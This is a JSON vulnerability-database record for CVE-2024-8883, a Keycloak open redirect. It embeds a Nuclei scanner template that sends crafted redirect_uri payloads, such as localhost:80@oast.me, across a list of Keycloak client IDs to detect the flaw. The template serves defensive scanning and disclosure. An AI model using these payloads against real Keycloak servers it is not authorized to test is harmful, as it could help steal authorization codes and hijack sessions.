{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-8883/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-8883/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-8883/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-8883/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-8883/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-8883"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-8883"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-8883.yaml",
    "nuclei_template_severity": "medium",
    "nuclei_template_yaml": "id: CVE-2024-8883\n\ninfo:\n  name: Keycloak - Open Redirect\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: medium\n  description: |\n    A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.\n  impact: |\n    Attackers can redirect users to malicious URLs and capture sensitive information such as authorization codes and session tokens, potentially leading to session hijacking and account compromise.\n  remediation: |\n    Update Keycloak configuration to avoid using localhost or 127.0.0.1 as Valid Redirect URIs, and apply security patches addressing the open redirect vulnerability.\n  reference:\n    - https://github.com/advisories/GHSA-vvf8-2h68-9475\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-8883\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\n    cvss-score: 6.8\n    cve-id: CVE-2024-8883\n    cwe-id: CWE-601\n    epss-score: 0.02112\n    epss-percentile: 0.81869\n  metadata:\n    max-request: 1\n    verified: true\n    shodan-query: title:\"keycloak\"\n  tags: cve,cve2024,keycloak,redirect,vuln,vkev\n\nvariables:\n  redirect_uri: \"oast.me\"\n\nhttp:\n  - raw:\n      - |\n        GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}} HTTP/1.1\n        Host: {{Hostname}}\n\n    payloads:\n      redir_host:\n        - http://localhost\n        - http://127.0.0.1\n        - https://localhost\n        - https://127.0.0.1\n        - http://[::]\n        - https://[::]\n\n      client_id:\n        - security-admin-console\n        - master-realm\n        - broker\n        - admin-cli\n        - account\n        - account-console\n\n    attack: clusterbomb\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: header\n        regex:\n          - 'Location:\\s+https?://(localhost|127.0.0.1|\\[::\\]):\\d*@oast\\.me\\?'\n\n      - type: status\n        status:\n          - 302\n# digest: 4a0a00473045022100cd5da706671c74de4e04061415528e9075f1864014c78fccd484d530d75ce54602201d1425f81b39479bb9dac536df73311d906f01a5ee5bb2f760c198ad979b6756:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-8883"
}